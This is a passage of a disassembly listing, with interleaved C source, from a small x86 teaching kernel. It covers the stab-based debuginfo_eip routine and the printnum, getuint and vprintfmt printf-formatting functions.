f0100d25 <debuginfo_eip+0x1b0> && stabs[lline].n_type != N_SOL f0100cf1: 0f b6 48 04 movzbl 0x4(%eax),%ecx f0100cf5: 80 f9 84 cmp $0x84,%cl f0100cf8: 74 0b je f0100d05 <debuginfo_eip+0x190> && (stabs[lline].n_type != N_SO || !stabs[lline].n_value)) f0100cfa: 80 f9 64 cmp $0x64,%cl f0100cfd: 75 e8 jne f0100ce7 <debuginfo_eip+0x172> f0100cff: 83 78 08 00 cmpl $0x0,0x8(%eax) f0100d03: 74 e2 je f0100ce7 <debuginfo_eip+0x172> lline--; if (lline >= lfile && stabs[lline].n_strx < stabstr_end - stabstr) f0100d05: 8d 04 52 lea (%edx,%edx,2),%eax f0100d08: 8b 14 85 d0 21 10 f0 mov -0xfefde30(,%eax,4),%edx f0100d0f: b8 35 78 10 f0 mov $0xf0107835,%eax f0100d14: 2d a1 5d 10 f0 sub $0xf0105da1,%eax f0100d19: 39 c2 cmp %eax,%edx f0100d1b: 73 08 jae f0100d25 <debuginfo_eip+0x1b0> info->eip_file = stabstr + stabs[lline].n_strx; f0100d1d: 81 c2 a1 5d 10 f0 add $0xf0105da1,%edx f0100d23: 89 13 mov %edx,(%ebx) // Set eip_fn_narg to the number of arguments taken by the function, // or 0 if there was no containing function. if (lfun < rfun) f0100d25: 8b 55 dc mov -0x24(%ebp),%edx f0100d28: 8b 75 d8 mov -0x28(%ebp),%esi for (lline = lfun + 1; lline < rfun && stabs[lline].n_type == N_PSYM; lline++) info->eip_fn_narg++; return 0; f0100d2b: b8 00 00 00 00 mov $0x0,%eax if (lfun < rfun) f0100d30: 39 f2 cmp %esi,%edx f0100d32: 7d 49 jge f0100d7d <debuginfo_eip+0x208> for (lline = lfun + 1; f0100d34: 83 c2 01 add $0x1,%edx f0100d37: 89 d0 mov %edx,%eax f0100d39: 8d 14 52 lea (%edx,%edx,2),%edx f0100d3c: 8d 14 95 d0 21 10 f0 lea -0xfefde30(,%edx,4),%edx f0100d43: eb 04 jmp f0100d49 <debuginfo_eip+0x1d4> info->eip_fn_narg++; f0100d45: 83 43 14 01 addl $0x1,0x14(%ebx) for (lline = lfun + 1; f0100d49: 39 c6 cmp %eax,%esi f0100d4b: 7e 2b jle f0100d78 <debuginfo_eip+0x203> lline < rfun && stabs[lline].n_type == N_PSYM; f0100d4d: 0f b6 4a 04 movzbl 0x4(%edx),%ecx f0100d51: 83 c0 01 add $0x1,%eax f0100d54: 83 c2 0c add $0xc,%edx f0100d57: 80 f9 a0 cmp $0xa0,%cl f0100d5a: 74 e9 je f0100d45 <debuginfo_eip+0x1d0> return 0; f0100d5c: b8 00 00 00 00 mov $0x0,%eax f0100d61: eb 1a jmp f0100d7d <debuginfo_eip+0x208> return -1; f0100d63: b8 ff ff ff ff mov $0xffffffff,%eax f0100d68: eb 13 jmp f0100d7d <debuginfo_eip+0x208> f0100d6a: b8 ff ff ff ff mov $0xffffffff,%eax f0100d6f: eb 0c jmp f0100d7d <debuginfo_eip+0x208> return -1; f0100d71: b8 ff ff ff ff mov $0xffffffff,%eax f0100d76: eb 05 jmp f0100d7d <debuginfo_eip+0x208> return 0; f0100d78: b8 00 00 00 00 mov $0x0,%eax } f0100d7d: 8d 65 f4 lea -0xc(%ebp),%esp f0100d80: 5b pop %ebx f0100d81: 5e pop %esi f0100d82: 5f pop %edi f0100d83: 5d pop %ebp f0100d84: c3 ret f0100d85 <printnum>: * using specified putch function and associated pointer putdat. */ static void printnum(void (*putch)(int, void*), void *putdat, unsigned long long num, unsigned base, int width, int padc) { f0100d85: 55 push %ebp f0100d86: 89 e5 mov %esp,%ebp f0100d88: 57 push %edi f0100d89: 56 push %esi f0100d8a: 53 push %ebx f0100d8b: 83 ec 1c sub $0x1c,%esp f0100d8e: 89 c7 mov %eax,%edi f0100d90: 89 d6 mov %edx,%esi f0100d92: 8b 45 08 mov 0x8(%ebp),%eax f0100d95: 8b 55 0c mov 0xc(%ebp),%edx f0100d98: 89 45 d8 mov %eax,-0x28(%ebp) f0100d9b: 89 55 dc mov %edx,-0x24(%ebp) // first recursively print all preceding (more significant) digits if (num >= base) { f0100d9e: 8b 4d 10 mov 0x10(%ebp),%ecx f0100da1: bb 00 00 00 00 mov $0x0,%ebx f0100da6: 89 4d e0 mov %ecx,-0x20(%ebp) f0100da9: 89 5d e4 mov %ebx,-0x1c(%ebp) f0100dac: 39 d3 cmp %edx,%ebx f0100dae: 72 05 jb f0100db5 <printnum+0x30> f0100db0: 39 45 10 cmp %eax,0x10(%ebp) f0100db3: 77 45 ja f0100dfa <printnum+0x75> printnum(putch, putdat, num / base, base, width - 1, padc); f0100db5: 83 ec 0c sub $0xc,%esp f0100db8: ff 75 18 pushl 0x18(%ebp) f0100dbb: 8b 45 14 mov 0x14(%ebp),%eax f0100dbe: 8d 58 ff lea -0x1(%eax),%ebx f0100dc1: 53 push %ebx f0100dc2: ff 75 10 pushl 0x10(%ebp) f0100dc5: 83 ec 08 sub $0x8,%esp f0100dc8: ff 75 e4 pushl -0x1c(%ebp) f0100dcb: ff 75 e0 pushl -0x20(%ebp) f0100dce: ff 75 dc pushl -0x24(%ebp) f0100dd1: ff 75 d8 pushl -0x28(%ebp) f0100dd4: e8 87 09 00 00 call f0101760 <__udivdi3> f0100dd9: 83 c4 18 add $0x18,%esp f0100ddc: 52 push %edx f0100ddd: 50 push %eax f0100dde: 89 f2 mov %esi,%edx f0100de0: 89 f8 mov %edi,%eax f0100de2: e8 9e ff ff ff call f0100d85 <printnum> f0100de7: 83 c4 20 add $0x20,%esp f0100dea: eb 18 jmp f0100e04 <printnum+0x7f> } else { // print any needed pad characters before first digit while (--width > 0) putch(padc, putdat); f0100dec: 83 ec 08 sub $0x8,%esp f0100def: 56 push %esi f0100df0: ff 75 18 pushl 0x18(%ebp) f0100df3: ff d7 call *%edi f0100df5: 83 c4 10 add $0x10,%esp f0100df8: eb 03 jmp f0100dfd <printnum+0x78> f0100dfa: 8b 5d 14 mov 0x14(%ebp),%ebx while (--width > 0) f0100dfd: 83 eb 01 sub $0x1,%ebx f0100e00: 85 db test %ebx,%ebx f0100e02: 7f e8 jg f0100dec <printnum+0x67> } // then print this (the least significant) digit putch("0123456789abcdef"[num % base], putdat); f0100e04: 83 ec 08 sub $0x8,%esp f0100e07: 56 push %esi f0100e08: 83 ec 04 sub $0x4,%esp f0100e0b: ff 75 e4 pushl -0x1c(%ebp) f0100e0e: ff 75 e0 pushl -0x20(%ebp) f0100e11: ff 75 dc pushl -0x24(%ebp) f0100e14: ff 75 d8 pushl -0x28(%ebp) f0100e17: e8 54 0a 00 00 call f0101870 <__umoddi3> f0100e1c: 83 c4 14 add $0x14,%esp f0100e1f: 0f be 80 a7 1f 10 f0 movsbl -0xfefe059(%eax),%eax f0100e26: 50 push %eax f0100e27: ff d7 call *%edi } f0100e29: 83 c4 10 add $0x10,%esp f0100e2c: 8d 65 f4 lea -0xc(%ebp),%esp f0100e2f: 5b pop %ebx f0100e30: 5e pop %esi f0100e31: 5f pop %edi f0100e32: 5d pop %ebp f0100e33: c3 ret f0100e34 <getuint>: // Get an unsigned int of various possible sizes from a varargs list, // depending on the lflag parameter. static unsigned long long getuint(va_list *ap, int lflag) { f0100e34: 55 push %ebp f0100e35: 89 e5 mov %esp,%ebp if (lflag >= 2) f0100e37: 83 fa 01 cmp $0x1,%edx f0100e3a: 7e 0e jle f0100e4a <getuint+0x16> return va_arg(*ap, unsigned long long); f0100e3c: 8b 10 mov (%eax),%edx f0100e3e: 8d 4a 08 lea 0x8(%edx),%ecx f0100e41: 89 08 mov %ecx,(%eax) f0100e43: 8b 02 mov (%edx),%eax f0100e45: 8b 52 04 mov 0x4(%edx),%edx f0100e48: eb 22 jmp f0100e6c <getuint+0x38> else if (lflag) f0100e4a: 85 d2 test %edx,%edx f0100e4c: 74 10 je f0100e5e <getuint+0x2a> return va_arg(*ap, unsigned long); f0100e4e: 8b 10 mov (%eax),%edx f0100e50: 8d 4a 04 lea 0x4(%edx),%ecx f0100e53: 89 08 mov %ecx,(%eax) f0100e55: 8b 02 mov (%edx),%eax f0100e57: ba 00 00 00 00 mov $0x0,%edx f0100e5c: eb 0e jmp f0100e6c <getuint+0x38> else return va_arg(*ap, unsigned int); f0100e5e: 8b 10 mov (%eax),%edx f0100e60: 8d 4a 04 lea 0x4(%edx),%ecx f0100e63: 89 08 mov %ecx,(%eax) f0100e65: 8b 02 mov (%edx),%eax f0100e67: ba 00 00 00 00 mov $0x0,%edx } f0100e6c: 5d pop %ebp f0100e6d: c3 ret f0100e6e <sprintputch>: int cnt; }; static void sprintputch(int ch, struct sprintbuf *b) { f0100e6e: 55 push %ebp f0100e6f: 89 e5 mov %esp,%ebp f0100e71: 8b 45 0c mov 0xc(%ebp),%eax b->cnt++; f0100e74: 83 40 08 01 addl $0x1,0x8(%eax) if (b->buf < b->ebuf) f0100e78: 8b 10 mov (%eax),%edx f0100e7a: 3b 50 04 cmp 0x4(%eax),%edx f0100e7d: 73 0a jae f0100e89 <sprintputch+0x1b> *b->buf++ = ch; f0100e7f: 8d 4a 01 lea 0x1(%edx),%ecx f0100e82: 89 08 mov %ecx,(%eax) f0100e84: 8b 45 08 mov 0x8(%ebp),%eax f0100e87: 88 02 mov %al,(%edx) } f0100e89: 5d pop %ebp f0100e8a: c3 ret f0100e8b <printfmt>: { f0100e8b: 55 push %ebp f0100e8c: 89 e5 mov %esp,%ebp f0100e8e: 83 ec 08 sub $0x8,%esp va_start(ap, fmt); f0100e91: 8d 45 14 lea 0x14(%ebp),%eax vprintfmt(putch, putdat, fmt, ap); f0100e94: 50 push %eax f0100e95: ff 75 10 pushl 0x10(%ebp) f0100e98: ff 75 0c pushl 0xc(%ebp) f0100e9b: ff 75 08 pushl 0x8(%ebp) f0100e9e: e8 05 00 00 00 call f0100ea8 <vprintfmt> } f0100ea3: 83 c4 10 add $0x10,%esp f0100ea6: c9 leave f0100ea7: c3 ret f0100ea8 <vprintfmt>: { f0100ea8: 55 push %ebp f0100ea9: 89 e5 mov %esp,%ebp f0100eab: 57 push %edi f0100eac: 56 push %esi f0100ead: 53 push %ebx f0100eae: 83 ec 2c sub $0x2c,%esp f0100eb1: 8b 75 08 mov 0x8(%ebp),%esi f0100eb4: 8b 5d 0c mov 0xc(%ebp),%ebx f0100eb7: 8b 7d 10 mov 0x10(%ebp),%edi f0100eba: eb 1d jmp f0100ed9 <vprintfmt+0x31> if (ch == '\0') f0100ebc: 85 c0 test %eax,%eax f0100ebe: 75 0f jne f0100ecf <vprintfmt+0x27> textcolor = 0x0700; f0100ec0: c7 05 a4 29 11 f0 00 movl $0x700,0xf01129a4 f0100ec7: 07 00 00 return; f0100eca: e9 c4 03 00 00 jmp f0101293 <vprintfmt+0x3eb> putch(ch, putdat); f0100ecf: 83 ec 08 sub $0x8,%esp f0100ed2: 53 push %ebx f0100ed3: 50 push %eax f0100ed4: ff d6 call *%esi f0100ed6: 83 c4 10 add $0x10,%esp while ((ch = *(unsigned char *) fmt++) != '%') { f0100ed9: 83 c7 01 add $0x1,%edi f0100edc: 0f b6 47 ff movzbl -0x1(%edi),%eax f0100ee0: 83 f8 25 cmp $0x25,%eax f0100ee3: 75 d7 jne f0100ebc <vprintfmt+0x14> f0100ee5: c6 45 d4 20 movb $0x20,-0x2c(%ebp) f0100ee9: c7 45 d8 00 00 00 00 movl $0x0,-0x28(%ebp) f0100ef0: c7 45 d0 ff ff ff ff movl $0xffffffff,-0x30(%ebp) f0100ef7: c7 45 e0 ff ff ff ff movl $0xffffffff,-0x20(%ebp) f0100efe: ba 00 00 00 00 mov $0x0,%edx f0100f03: eb 07 jmp f0100f0c <vprintfmt+0x64> switch (ch = *(unsigned char *) fmt++) { f0100f05: 8b 7d e4 mov -0x1c(%ebp),%edi padc = '-'; f0100f08: c6 45 d4 2d movb $0x2d,-0x2c(%ebp) switch (ch = *(unsigned char *) fmt++) { f0100f0c: 8d 47 01 lea 0x1(%edi),%eax f0100f0f: 89 45 e4 mov %eax,-0x1c(%ebp) f0100f12: 0f b6 07 movzbl (%edi),%eax f0100f15: 0f b6 c8 movzbl %al,%ecx f0100f18: 83 e8 23 sub $0x23,%eax f0100f1b: 3c 55 cmp $0x55,%al f0100f1d: 0f 87 55 03 00 00 ja f0101278 <vprintfmt+0x3d0> f0100f23: 0f b6 c0 movzbl %al,%eax f0100f26: ff 24 85 40 20 10 f0 jmp *-0xfefdfc0(,%eax,4) f0100f2d: 8b 7d e4 mov -0x1c(%ebp),%edi padc = '0'; f0100f30: c6 45 d4 30 movb $0x30,-0x2c(%ebp) f0100f34: eb d6 jmp f0100f0c <vprintfmt+0x64> switch (ch = *(unsigned char *) fmt++) { f0100f36: 8b 7d e4 mov -0x1c(%ebp),%edi f0100f39: b8 00 00 00 00 mov $0x0,%eax f0100f3e: 89 55 e4 mov %edx,-0x1c(%ebp) precision = precision * 10 + ch - '0'; f0100f41: 8d 04 80 lea (%eax,%eax,4),%eax f0100f44: 8d 44 41 d0 lea -0x30(%ecx,%eax,2),%eax ch = *fmt; f0100f48: 0f be 0f movsbl (%edi),%ecx if (ch < '0' || ch > '9') f0100f4b: 8d 51 d0 lea -0x30(%ecx),%edx f0100f4e: 83 fa 09 cmp $0x9,%edx f0100f51: 77 39 ja f0100f8c <vprintfmt+0xe4> for (precision = 0; ; ++fmt) { f0100f53: 83 c7 01 add $0x1,%edi } f0100f56: eb e9 jmp f0100f41 <vprintfmt+0x99> precision = va_arg(ap, int); f0100f58: 8b 45 14 mov 0x14(%ebp),%eax f0100f5b: 8d 48 04 lea 0x4(%eax),%ecx f0100f5e: 89 4d 14 mov %ecx,0x14(%ebp) f0100f61: 8b 00 mov (%eax),%eax f0100f63: 89 45 d0 mov %eax,-0x30(%ebp) switch (ch = *(unsigned char *) fmt++) { f0100f66: 8b 7d e4 mov -0x1c(%ebp),%edi goto process_precision; f0100f69: eb 27 jmp f0100f92 <vprintfmt+0xea> f0100f6b: 8b 45 e0 mov -0x20(%ebp),%eax f0100f6e: 85 c0 test %eax,%eax f0100f70: b9 00 00 00 00 mov $0x0,%ecx f0100f75: 0f 49 c8 cmovns %eax,%ecx f0100f78: 89 4d e0 mov %ecx,-0x20(%ebp) switch (ch = *(unsigned char *) fmt++) { f0100f7b: 8b 7d e4 mov -0x1c(%ebp),%edi f0100f7e: eb 8c jmp f0100f0c <vprintfmt+0x64> f0100f80: 8b 7d e4 mov -0x1c(%ebp),%edi altflag = 1; f0100f83: c7 45 d8 01 00 00 00 movl $0x1,-0x28(%ebp) goto reswitch; f0100f8a: eb 80 jmp f0100f0c <vprintfmt+0x64> f0100f8c: 8b 55 e4 mov -0x1c(%ebp),%edx f0100f8f: 89 45 d0 mov %eax,-0x30(%ebp) if (width < 0) f0100f92: 83 7d e0 00 cmpl $0x0,-0x20(%ebp) f0100f96: 0f 89 70 ff ff ff jns f0100f0c <vprintfmt+0x64> width = precision, precision = -1; f0100f9c: 8b 45 d0 mov -0x30(%ebp),%eax f0100f9f: 89 45 e0 mov %eax,-0x20(%ebp) f0100fa2: c7 45 d0 ff ff ff ff movl $0xffffffff,-0x30(%ebp) f0100fa9: e9 5e ff ff ff jmp f0100f0c <vprintfmt+0x64> lflag++; f0100fae: 83 c2 01 add $0x1,%edx switch (ch = *(unsigned char *) fmt++) { f0100fb1: 8b 7d e4 mov -0x1c(%ebp),%edi goto reswitch; f0100fb4: e9 53 ff ff ff jmp f0100f0c <vprintfmt+0x64> if (lflag >= 2) f0100fb9: 83 fa 01 cmp $0x1,%edx f0100fbc: 7e 0d jle f0100fcb <vprintfmt+0x123> return va_arg(*ap, long long); f0100fbe: 8b 45 14 mov 0x14(%ebp),%eax f0100fc1: 8d 50 08 lea 0x8(%eax),%edx f0100fc4: 89 55 14 mov %edx,0x14(%ebp) f0100fc7: 8b 00 mov (%eax),%eax f0100fc9: eb 1c jmp f0100fe7 <vprintfmt+0x13f> else if (lflag) f0100fcb: 85 d2 test %edx,%edx f0100fcd: 74 0d je f0100fdc <vprintfmt+0x134> return va_arg(*ap, long); f0100fcf: 8b 45 14 mov 0x14(%ebp),%eax f0100fd2: 8d 50 04 lea 0x4(%eax),%edx f0100fd5: 89 55 14 mov %edx,0x14(%ebp) f0100fd8: 8b 00 mov (%eax),%eax f0100fda: eb 0b jmp f0100fe7 <vprintfmt+0x13f> return va_arg(*ap, int); f0100fdc: 8b 45 14 mov 0x14(%ebp),%eax f0100fdf: 8d 50 04 lea 0x4(%eax),%edx f0100fe2: 89 55 14 mov %edx,0x14(%ebp) f0100fe5: 8b 00 mov (%eax),%eax textcolor = num; f0100fe7: a3 a4 29 11 f0 mov %eax,0xf01129a4 switch (ch = *(unsigned char *) fmt++) { f0100fec: 8b 7d e4 mov -0x1c(%ebp),%edi break; f0100fef: e9 e5 fe ff ff jmp f0100ed9 <vprintfmt+0x31> putch(va_arg(ap, int), putdat); f0100ff4: 8b 45 14 mov 0x14(%ebp),%eax f0100ff7: 8d 50 04 lea 0x4(%eax),%edx f0100ffa: 89 55 14 mov %edx,0x14(%ebp) f0100ffd: 83 ec 08 sub $0x8,%esp f0101000: 53 push %ebx f0101001: ff 30 pushl (%eax) f0101003: ff d6 call *%esi break; f0101005: 83 c4 10 add $0x10,%esp switch (ch = *(unsigned char *) fmt++) { f0101008: 8b 7d e4 mov -0x1c(%ebp),%edi break; f010100b: e9 c9 fe ff ff jmp f0100ed9 <vprintfmt+0x31> err = va_arg(ap, int); f0101010: 8b 45 14 mov 0x14(%ebp),%eax f0101013: 8d 50 04 lea 0x4(%eax),%edx f0101016: 89 55 14 mov %edx,0x14(%ebp) f0101019: 8b 00 mov (%eax),%eax f010101b: 99 cltd f010101c: 31 d0 xor %edx,%eax f010101e: 29 d0 sub %edx,%eax if (err >= MAXERROR || (p = error_string[err]) == NULL) f0101020: 83 f8 07 cmp $0x7,%eax f0101023: 7f 0b jg f0101030 <vprintfmt+0x188> f0101025: 8b 14 85 a0 21 10 f0 mov -0xfefde60(,%eax,4),%edx f010102c: 85 d2 test %edx,%edx f010102e: 75 18 jne f0101048 <vprintfmt+0x1a0> printfmt(putch, putdat, "error %d", err); f0101030: 50 push %eax f0101031: 68 bf 1f 10 f0 push $0xf0101fbf f0101036: 53 push %ebx f0101037: 56 push %esi f0101038: e8 4e fe ff ff call f0100e8b <printfmt> f010103d: 83 c4 10 add $0x10,%esp switch (ch = *(unsigned char *) fmt++) { f0101040: 8b 7d e4 mov -0x1c(%ebp),%edi printfmt(putch, putdat, "error %d", err); f0101043: e9 91 fe ff ff jmp f0100ed9 <vprintfmt+0x31> printfmt(putch, putdat, "%s", p); f0101048: 52 push %edx f0101049: 68 c8 1f 10 f0 push $0xf0101fc8 f010104e: 53 push %ebx f010104f: 56 push %esi f0101050: e8 36 fe ff ff call f0100e8b <printfmt> f0101055: 83 c4 10 add $0x10,%esp switch (ch = *(unsigned char *) fmt++) { f0101058: 8b 7d e4 mov -0x1c(%ebp),%edi f010105b: e9 79 fe ff ff jmp f0100ed9 <vprintfmt+0x31> if ((p = va_arg(ap, char *)) == NULL) f0101060: 8b 45 14 mov 0x14(%ebp),%eax f0101063: 8d 50 04 lea 0x4(%eax),%edx f0101066: 89 55 14 mov %edx,0x14(%ebp) f0101069: 8b 38 mov (%eax),%edi p = "(null)"; f010106b: 85 ff test %edi,%edi f010106d: b8 b8 1f 10 f0 mov $0xf0101fb8,%eax f0101072: 0f 44 f8 cmove %eax,%edi if (width > 0 && padc != '-') f0101075: 83 7d e0 00 cmpl $0x0,-0x20(%ebp) f0101079: 0f 8e 94 00 00 00 jle f0101113 <vprintfmt+0x26b> f010107f: 80 7d d4 2d cmpb $0x2d,-0x2c(%ebp) f0101083: 0f 84 98 00 00 00 je f0101121 <vprintfmt+0x279> for (width -= strnlen(p, precision); width > 0; width--) f0101089: 83 ec 08 sub $0x8,%esp f010108c: ff 75 d0 pushl -0x30(%ebp) f010108f: 57 push %edi f0101090: e8 5f 03 00 00 call f01013f4 <strnlen> f0101095: 8b 4d e0 mov -0x20(%ebp),%ecx f0101098: 29 c1 sub %eax,%ecx f010109a: 89 4d cc mov %ecx,-0x34(%ebp) f010109d: 83 c4 10 add $0x10,%esp putch(padc, putdat); f01010a0: 0f be 45 d4 movsbl -0x2c(%ebp),%eax f01010a4: 89 45 e0 mov %eax,-0x20(%ebp) f01010a7: 89 7d d4 mov %edi,-0x2c(%ebp) f01010aa: 89 cf mov %ecx,%edi for (width -= strnlen(p, precision); width > 0; width--) f01010ac: eb 0f jmp f01010bd <vprintfmt+0x215> putch(padc, putdat); f01010ae: 83 ec 08 sub $0x8,%esp f01010b1: 53 push %ebx f01010b2: ff 75 e0 pushl -0x20(%ebp) f01010b5: ff d6 call *%esi for (width -= strnlen(p, precision); width > 0; width--) f01010b7: 83 ef 01 sub $0x1,%edi f01010ba: 83 c4 10 add $0x10,%esp f01010bd: 85 ff test %edi,%edi f01010bf: 7f ed jg f01010ae <vprintfmt+0x206> f01010c1: 8b 7d d4 mov -0x2c(%ebp),%edi f01010c4: 8b 4d cc mov -0x34(%ebp),%ecx f01010c7: 85 c9 test %ecx,%ecx f01010c9: b8 00 00 00 00 mov $0x0,%eax f01010ce: 0f 49 c1 cmovns %ecx,%eax f01010d1: 29 c1 sub %eax,%ecx f01010d3: 89 75 08 mov %esi,0x8(%ebp) f01010d6: 8b 75 d0 mov -0x30(%ebp),%esi f01010d9: 89 5d 0c mov %ebx,0xc(%ebp) f01010dc: 89 cb mov %ecx,%ebx f01010de: eb 4d jmp f010112d <vprintfmt+0x285> if (altflag && (ch < ' ' || ch > '~')) f01010e0: 83 7d d8 00 cmpl $0x0,-0x28(%ebp) f01010e4: 74 1b je f0101101 <vprintfmt+0x259> f01010e6: 0f be c0 movsbl %al,%eax f01010e9: 83 e8 20 sub $0x20,%eax f01010ec: 83 f8 5e cmp $0x5e,%eax f01010ef: 76 10 jbe f0101101 <vprintfmt+0x259> putch('?', putdat); f01010f1: 83 ec 08 sub $0x8,%esp f01010f4: ff 75 0c pushl 0xc(%ebp) f01010f7: 6a 3f push $0x3f f01010f9: ff 55 08 call *0x8(%ebp) f01010fc: 83 c4 10 add $0x10,%esp f01010ff: eb 0d jmp f010110e <vprintfmt+0x266> putch(ch, putdat); f0101101: 83 ec 08 sub $0x8,%esp f0101104: ff 75 0c pushl 0xc(%ebp) f0101107: 52 push %edx f0101108: ff 55 08 call *0x8(%ebp) f010110b: 83 c4 10 add $0x10,%esp for (; (ch = *p++) != '\0' && (precision < 0 || --precision >= 0); width--) f010110e: 83 eb 01 sub $0x1,%ebx f0101111: eb 1a jmp f010112d <vprintfmt+0x285> f0101113: 89 75 08 mov %esi,0x8(%ebp) f0101116: 8b 75 d0 mov -0x30(%ebp),%esi f0101119: 89 5d 0c mov %ebx,0xc(%ebp) f010111c: 8b 5d e0 mov -0x20(%ebp),%ebx f010111f: eb 0c jmp f010112d <vprintfmt+0x285> f0101121: 89 75 08 mov %esi,0x8(%ebp) f0101124: 8b 75 d0 mov -0x30(%ebp),%esi f0101127: 89 5d 0c mov %ebx,0xc(%ebp) f010112a: 8b 5d e0 mov -0x20(%ebp),%ebx f010112d: 83 c7 01 add $0x1,%edi f0101130: 0f b6 47 ff movzbl -0x1(%edi),%eax f0101134: 0f be d0 movsbl %al,%edx f0101137: 85 d2 test %edx,%edx f0101139: 74 23 je f010115e <vprintfmt+0x2b6> f010113b: 85 f6 test %esi,%esi f010113d: 78 a1 js f01010e0 <vprintfmt+0x238> f010113f: 83 ee 01 sub $0x1,%esi f0101142: 79 9c jns f01010e0 <vprintfmt+0x238> f0101144: 89 df mov %ebx,%edi f0101146: 8b 75 08 mov 0x8(%ebp),%esi f0101149: 8b 5d 0c mov 0xc(%ebp),%ebx f010114c: eb 18 jmp f0101166 <vprintfmt+0x2be> putch(' ', putdat); f010114e: 83 ec 08 sub $0x8,%esp f0101151: 53 push %ebx f0101152: 6a 20 push $0x20 f0101154: ff d6 call *%esi for (; width > 0; width--) f0101156: 83 ef 01 sub $0x1,%edi f0101159: 83 c4 10 add $0x10,%esp f010115c: eb 08 jmp f0101166 <vprintfmt+0x2be> f010115e: 89 df mov %ebx,%edi f0101160: 8b 75 08 mov 0x8(%ebp),%esi f0101163: 8b 5d 0c mov 0xc(%ebp),%ebx f0101166: 85 ff test %edi,%edi f0101168: 7f e4 jg f010114e <vprintfmt+0x2a6> switch (ch = *(unsigned char *) fmt++) { f010116a: 8b 7d e4 mov -0x1c(%ebp),%edi f010116d: e9 67 fd ff ff jmp f0100ed9 <vprintfmt+0x31> if (lflag >= 2) f0101172: 83 fa 01 cmp $0x1,%edx f0101175: 7e 16 jle f010118d <vprintfmt+0x2e5> return va_arg(*ap, long long); f0101177: 8b 45 14 mov 0x14(%ebp),%eax f010117a: 8d 50 08 lea 0x8(%eax),%edx f010117d: 89 55 14 mov %edx,0x14(%ebp) f0101180: 8b 50 04 mov 0x4(%eax),%edx f0101183: 8b 00 mov (%eax),%eax f0101185: 89 45 d8 mov %eax,-0x28(%ebp) f0101188: 89 55 dc mov %edx,-0x24(%ebp) f010118b: eb 32 jmp f01011bf <vprintfmt+0x317> else if (lflag) f010118d: 85 d2 test %edx,%edx f010118f: 74 18 je f01011a9 <vprintfmt+0x301> return va_arg(*ap, long); f0101191: 8b 45 14 mov 0x14(%ebp),%eax f0101194: 8d 50 04 lea 0x4(%eax),%edx f0101197: 89 55 14 mov %edx,0x14(%ebp) f010119a: 8b 00 mov (%eax),%eax f010119c: 89 45 d8 mov %eax,-0x28(%ebp) f010119f: 89 c1 mov %eax,%ecx f01011a1: c1 f9 1f sar $0x1f,%ecx f01011a4: 89 4d dc mov %ecx,-0x24(%ebp) f01011a7: eb 16 jmp f01011bf <vprintfmt+0x317> return va_arg(*ap, int); f01011a9: 8b 45 14 mov 0x14(%ebp),%eax f01011ac: 8d 50 04 lea 0x4(%eax),%edx f01011af: 89 55 14 mov %edx,0x14(%ebp) f01011b2: 8b 00 mov (%eax),%eax f01011b4: 89 45 d8 mov %eax,-0x28(%ebp) f01011b7: 89 c1 mov %eax,%ecx f01011b9: c1 f9 1f sar $0x1f,%ecx f01011bc: 89 4d dc mov %ecx,-0x24(%ebp) num = getint(&ap, lflag); f01011bf: 8b 45 d8 mov -0x28(%ebp),%eax f01011c2: 8b 55 dc mov -0x24(%ebp),%edx base = 10; f01011c5: b9 0a 00 00 00 mov $0xa,%ecx if ((long long) num < 0) { f01011ca: 83 7d dc 00 cmpl $0x0,-0x24(%ebp) f01011ce: 79 74 jns f0101244 <vprintfmt+0x39c> putch('-', putdat); f01011d0: 83 ec 08 sub $0x8,%esp f01011d3: 53 push %ebx f01011d4: 6a 2d push $0x2d f01011d6: ff d6 call *%esi num = -(long long) num; f01011d8: 8b 45 d8 mov -0x28(%ebp),%eax f01011db: 8b 55 dc mov -0x24(%ebp),%edx f01011de: f7 d8 neg %eax f01011e0: 83 d2 00 adc $0x0,%edx f01011e3: f7 da neg %edx f01011e5: 83 c4 10 add $0x10,%esp base = 10; f01011e8: b9 0a 00 00 00 mov $0xa,%ecx f01011ed: eb 55 jmp f0101244 <vprintfmt+0x39c> num = getuint(&ap, lflag); f01011ef: 8d 45 14 lea 0x14(%ebp),%eax f01011f2: e8 3d fc ff ff call f0100e34 <getuint> base = 10; f01011f7: b9 0a 00 00 00 mov $0xa,%ecx goto number; f01011fc: eb 46 jmp f0101244 <vprintfmt+0x39c> num = getuint(&ap, lflag); f01011fe: 8d 45 14 lea 0x14(%ebp),%eax f0101201: e8 2e fc ff ff call f0100e34 <getuint> base = 8; f0101206: b9 08 00 00 00 mov $0x8,%ecx goto number; f010120b: eb 37 jmp f0101244 <vprintfmt+0x39c> putch('0', putdat); f010120d: 83 ec 08 sub $0x8,%esp f0101210: 53 push %ebx f0101211: 6a 30 push $0x30 f0101213: ff d6 call *%esi putch('x', putdat); f0101215: 83 c4 08 add $0x8,%esp f0101218: 53 push %ebx f0101219: 6a 78 push $0x78 f010121b: ff d6 call *%esi (uintptr_t) va_arg(ap, void *); f010121d: 8b 45 14 mov 0x14(%ebp),%eax f0101220: 8d 50 04 lea 0x4(%eax),%edx f0101223: 89 55 14 mov %edx,0x14(%ebp) num = (unsigned long long) f0101226: 8b 00 mov (%eax),%eax f0101228: ba 00 00 00 00 mov $0x0,%edx goto number; f010122d: 83 c4 10 add $0x10,%esp base = 16; f0101230: b9 10 00 00 00 mov $0x10,%ecx goto number; f0101235: eb 0d jmp f0101244 <vprintfmt+0x39c> num = getuint(&ap, lflag); f0101237: 8d 45 14 lea 0x14(%ebp),%eax f010123a: e8 f5 fb ff ff call f0100e34 <getuint> base = 16; f010123f: b9 10 00 00 00 mov $0x10,%ecx printnum(putch, putdat, num, base, width, padc); f0101244: 83 ec 0c sub $0xc,%esp f0101247: 0f be 7d d4 movsbl -0x2c(%ebp),%edi f010124b: 57 push %edi f010124c: ff 75 e0 pushl -0x20(%ebp) f010124f: 51 push %ecx f0101250: 52 push %edx f0101251: 50 push %eax f0101252: 89 da mov %ebx,%edx f0101254: 89 f0 mov %esi,%eax f0101256: e8 2a fb ff ff call f0100d85 <printnum> break; f010125b: 83 c4 20 add $0x20,%esp f010125e: 8b 7d e4 mov -0x1c(%ebp),%edi f0101261: e9 73 fc ff ff jmp f0100ed9 <vprintfmt+0x31> putch(ch, putdat); f0101266: 83 ec 08 sub $0x8,%esp f0101269: 53 push %ebx f010126a: 51 push %ecx f010126b: ff d6 call *%esi break; f010126d: 83 c4 10 add $0x10,%esp switch (ch = *(unsigned char *) fmt++) { f0101270: 8b 7d e4 mov -0x1c(%ebp),%edi break; f0101273: e9 61 fc ff ff jmp f0100ed9 <vprintfmt+0x31> 